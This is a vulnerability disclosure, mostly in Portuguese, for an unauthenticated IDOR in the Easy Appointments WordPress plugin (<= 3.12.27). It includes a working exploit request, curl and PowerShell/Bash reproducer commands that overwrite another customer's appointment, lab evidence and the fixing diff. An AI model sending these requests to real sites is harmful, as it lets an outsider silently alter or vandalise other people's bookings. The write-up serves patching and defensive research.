
CVE-2026-61946: IDOR não autenticado no Easy Appointments <= 3.12.27
Encontrei uma referência direta e insegura a objetos (IDOR) não autenticada no plugin Easy Appointments do WordPress. O endpoint público de reservas aceitava um id vindo da query string e passava os dados resultantes para o caminho replace() do banco de dados do plugin.
Isso significava que uma nova solicitação de reserva pública poderia ser transformada em uma atualização de uma linha de agendamento existente. Não eram necessários login, cookies ou conta no WordPress. Forneça a chave primária de outro agendamento, escolha um horário real e livre, e o plugin sobrescrevia essa reserva com dados de cliente e agendamento controlados pelo atacante.
| CVE | CVE-2026-61946 |
| Plugin | Easy Appointments |
| Slug | easy-appointments |
| Afetado | <= 3.12.27 |
| Corrigido | 3.12.28 |
| Classe do bug | IDOR não autenticado / chave primária controlada pelo usuário (CWE-639) |
| Impacto | Sobrescrita arbitrária de agendamentos existentes |
| CVSS | 6.5 Médio (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L) |
| Crédito | Daniel Wade |
| Patchstack PSID | 4f9c506f9f90 |
O endpoint público aceitava uma solicitação com este formato:
GET /wp-admin/admin-ajax.php?action=ea_res_appointment&id=2&location=1&service=1&worker=1&date=2026-04-09&start=15:00&name=ATTACKER&email=evil%40hack.com&phone=666&description=PWNED HTTP/1.1
Host: target.example
O id=2 não era tratado como uma identidade de objeto não confiável. Nas versões afetadas, ele sobrevivia à filtragem de entrada e chegava ao caminho de substituição do banco de dados. Se a linha 2 já pertencesse a outro cliente, a solicitação pública atualizava essa linha em vez de criar uma nova.
Before: id=2 | Jane Victim | [email protected] | confirmed | $50.00
After: id=2 | ATTACKER | [email protected] | reservation | $50.00
O Easy Appointments expõe o manipulador de reservas a visitantes não autenticados:
add_action('wp_ajax_ea_res_appointment', array($this, 'ajax_res_appointment'));
add_action('wp_ajax_nopriv_ea_res_appointment', array($this, 'ajax_res_appointment'));
Isso é o esperado para um formulário público de reservas. O bug de autorização consistia em confiar na chave de objeto fornecida pelo chamador dentro desse manipulador público.
O fluxo vulnerável era:
unauthenticated GET
-> action=ea_res_appointment
-> $_GET['id']
-> allowed through the reservation field list
-> models->replace('ea_appointments', $data, true)
-> existing appointment row selected by primary key
-> victim booking overwritten
As verificações de nonce e CAPTCHA não estabeleciam a propriedade do ID de agendamento fornecido. Elas também estavam desabilitadas por padrão na configuração que testei, portanto a solicitação não exigia nenhum estado de sessão.
O endpoint até realizava uma verificação de disponibilidade. Isso não corrigia o problema de autorização de objeto; apenas significava que o atacante precisava escolher uma localização, um serviço, um profissional e uma data públicos válidos, além de um horário atualmente livre.
Você precisa de:
1. A disposable WordPress lab running Easy Appointments <= 3.12.27
2. The ID of a lab appointment you created for testing
3. Valid location, service, and worker IDs from the public form
4. A time slot that is currently open
Em seguida, execute qualquer um dos PoCs com ambas as chaves de segurança. Sem --execute / -Execute, os scripts apenas imprimem a solicitação que enviariam.
PowerShell:
.\poc\reproduce.ps1 `
-Target "http://127.0.0.1" `
-AppointmentId 2 `
-Location 1 `
-Service 1 `
-Worker 1 `
-Date "2026-04-09" `
-Start "15:00" `
-AuthorizedLab `
-Execute
Bash:
./poc/reproduce.sh \
--target "http://127.0.0.1" \
--id 2 \
--location 1 \
--service 1 \
--worker 1 \
--date "2026-04-09" \
--start "15:00" \
--authorized-lab \
--execute
Manual curl:
curl -i -sS -G "http://127.0.0.1/wp-admin/admin-ajax.php" \
--data-urlencode "action=ea_res_appointment" \
--data-urlencode "id=2" \
--data-urlencode "location=1" \
--data-urlencode "service=1" \
--data-urlencode "worker=1" \
--data-urlencode "date=2026-04-09" \
--data-urlencode "start=15:00" \
--data-urlencode "name=ATTACKER" \
--data-urlencode "[email protected]" \
--data-urlencode "phone=666" \
--data-urlencode "description=PWNED"
Nenhum cabeçalho de autenticação ou cookie está envolvido.
Reproduzi o problema em:
WordPress 6.9.4
Easy Appointments 3.12.23.1
Unauthenticated request
No cookies
Nonce disabled
CAPTCHA disabled
O teste usou uma linha de agendamento existente pertencente a uma conta de vítima no laboratório:
id=2
name=Jane Victim
[email protected]
status=confirmed
price=$50.00
Após a solicitação pública de reserva, a mesma chave primária continha:
id=2
name=ATTACKER
[email protected]
status=reservation
price=$50.00
O fato de a chave primária e o preço permanecerem inalterados deixava claro o comportamento de atualização: não se tratava de uma segunda reserva que por acaso se assemelhava à primeira. Era a linha existente sendo substituída.
Uma cópia da prova antes/depois está em evidence/sample-before-after.txt.
Um atacante não autenticado que conheça ou adivinhe um ID de agendamento pode corromper os dados de cliente e de agendamento dessa reserva. Dependendo do fluxo de trabalho do site, isso pode incluir a alteração de:
customer name and email
phone number
appointment description
location, service, and assigned worker
date and start time
reservation status generated by the public flow
O resultado prático é a adulteração silenciosa de reservas: agendamentos legítimos podem ser redirecionados, deslocados, vandalizados ou tornados operacionalmente inúteis. O formulário público expõe os valores de agendamento válidos necessários para montar a solicitação.
A pontuação oficial é 6.5 Médio:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
A alteração relevante para a segurança na versão 3.12.28 é admiravelmente direta:
foreach ($data as $key => $rem) {
if (!in_array($key, $dont_remove)) unset($data[$key]);
}
+
+unset($data['id']);
+$data['id'] = null;
unset($data['action']);
O fluxo público de reservas não pode mais escolher a chave primária do objeto no banco de dados. A solicitação é forçada a seguir o caminho de novo registro, em vez de poder substituir um agendamento existente arbitrário.
O mesmo commit de segurança também corrigiu a lógica da opção de nonce. Isso é uma defesa em profundidade útil, mas a validação de nonce, por si só, não seria uma verificação de propriedade para um ID de agendamento fornecido pelo atacante. Remover a chave controlada pelo cliente é a correção direta do IDOR.
O patch extraído está em patch/fix.diff.
poc/
reproduce.ps1 # PowerShell lab reproducer
reproduce.sh # Bash/curl lab reproducer
evidence/
sample-before-after.txt # Sanitised proof of row replacement
patch/
fix.diff # Security-relevant upstream diff
README.md
| Data | Evento |
|---|---|
| 2026-04-03 | Reportado à Patchstack |
| 2026-07-07 | Patch validado |
| 2026-07-16 | A Patchstack publicou a entrada da vulnerabilidade |
| 2026-07-23 | CVE-2026-61946 publicado |
Aviso legal: Este PoC é publicado para pesquisa defensiva e verificação após a disponibilidade do patch. Não o utilize contra sistemas que você não possua ou para os quais não tenha autorização explícita para testar.
CVE-2026-61946 - Corrigido no Easy Appointments 3.12.28. Afetado: 3.12.27 e anteriores.